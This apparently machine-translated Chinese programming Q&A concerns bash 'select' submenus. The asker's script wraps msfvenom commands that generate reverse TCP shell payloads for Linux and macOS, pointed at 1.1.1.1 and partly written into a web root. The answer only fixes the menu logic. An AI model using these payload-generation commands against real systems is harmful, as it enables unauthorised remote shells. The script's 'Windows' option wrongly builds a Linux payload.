选择后带有命令的多选菜单

时间:2017-08-31 18:32:37

标签: bash shell

我有一个多选菜单。菜单中的菜单然后我喜欢让脚本在选择第二个选项后执行“告诉它”。在这种情况下,我使用msfvenom生成不同类型的shell。我的最后一个问题是,当我选择数字1时,它跳转到右边的子菜单,但是我选择了数字2,而不是跳进“Web Shells”它仍然跳到第一个菜单。 PS:这很好,如果我不使用子菜单,基于here

#!/bin/bash
clear ;
echo 'Choose a Shell type'

select shell in Binaries Web Scripting Shellcode
do
    case $shell in 
    Binaries|Web|Scripting|Shellcode)   
            break
            ;;
    *)
            echo "Invalid Shell" 
            ;;
    esac
done
clear ;
# Binaries Shells
echo 'Now pick a platform based on the number you chose'
select binaries in Linux Windows MacOS
do
    case $binaries in
    Linux|Windows|MacOS)
    # Linux
    msfvenom -a x86 --platform linux -p linux/x86/shell_reverse_tcp LHOST=1.1.1.1 LPORT=222 -b \x00 -f elf -o /var/www/html/lrs_x86
    # Windows
    msfvenom -a x86 --platform linux -p linux/x86/shell_reverse_tcp LHOST=1.1.1.1 LPORT=222 -b \x00 -f elf -o /var/www/html/win_rs_x86
    # MacOS
    msfvenom -p osx/x86/shell_reverse_tcp LHOST=1.1.1.1 LPORT=222 -f macho > shell.macho
            break
            ;;
    *)
            echo "Invalid option"
            ;;
    esac
done
# Web Shells
select web in PHP ASP JSP WAR
do
    case $web in
    PHP|ASP|JSP|WAR)
            break
            ;;
    *)
            echo "Invalid option"
            ;;
    esac
done

如果我让这个东西起作用,我会继续添加更多的东西

1 个答案:

答案 0 :(得分:0)

添加了条件语句 解决[

  

当我选择数字1时,它会跳转到右边的子菜单,但不过我   选择了2号,而不是跳进“Web Shells”它仍然是   跳进第一个菜单

#!/bin/bash
clear ;
echo 'Choose a Shell type'
opt=""
select shell in Binaries Web Scripting Shellcode
do
   opt="$shell"
    case $shell in 
    Binaries|Web|Scripting|Shellcode)   
            break
            ;;
    *)
            echo "Invalid Shell" 
            ;;
    esac
echo $shell
done
clear;

if [ "$opt" = "Binaries" ]; then
# Binaries Shells
echo 'Now pick a platform based on the number you chose'
select binaries in Linux Windows MacOS
do
    case $binaries in
    Linux|Windows|MacOS)
    # Linux
    msfvenom -a x86 --platform linux -p linux/x86/shell_reverse_tcp LHOST=1.1.1.1 LPORT=222 -b \x00 -f elf -o /var/www/html/lrs_x86
    # Windows
    msfvenom -a x86 --platform linux -p linux/x86/shell_reverse_tcp LHOST=1.1.1.1 LPORT=222 -b \x00 -f elf -o /var/www/html/win_rs_x86
    # MacOS
    msfvenom -p osx/x86/shell_reverse_tcp LHOST=1.1.1.1 LPORT=222 -f macho > shell.macho
            break
            ;;
    *)
            echo "Invalid option"
            ;;
    esac
done
clear;

fi

if [ "$opt" = "Web" ] || [ "$opt" = "Binaries" ]; then
# Web Shells
select web in PHP ASP JSP WAR
do
    case $web in
    PHP|ASP|JSP|WAR)
            break
            ;;
    *)
            echo "Invalid option"
            ;;
    esac
done
clear;

fi
  

假设你有很多选项A,B,C,D,E,F和选择一个   选项,说C,你想从那里导航到D,然后导航到E.   D,F后的E.而不是使用逻辑运算符倍数   times从所选选项

中将标志设置为true
#!/bin/bash
clear ;
echo 'Choose a Shell type'
opt=""
flag=false

E.g,

if [ "$opt" = "Web" ] || [ "$flag" = true ]; then
flag=true
//your code here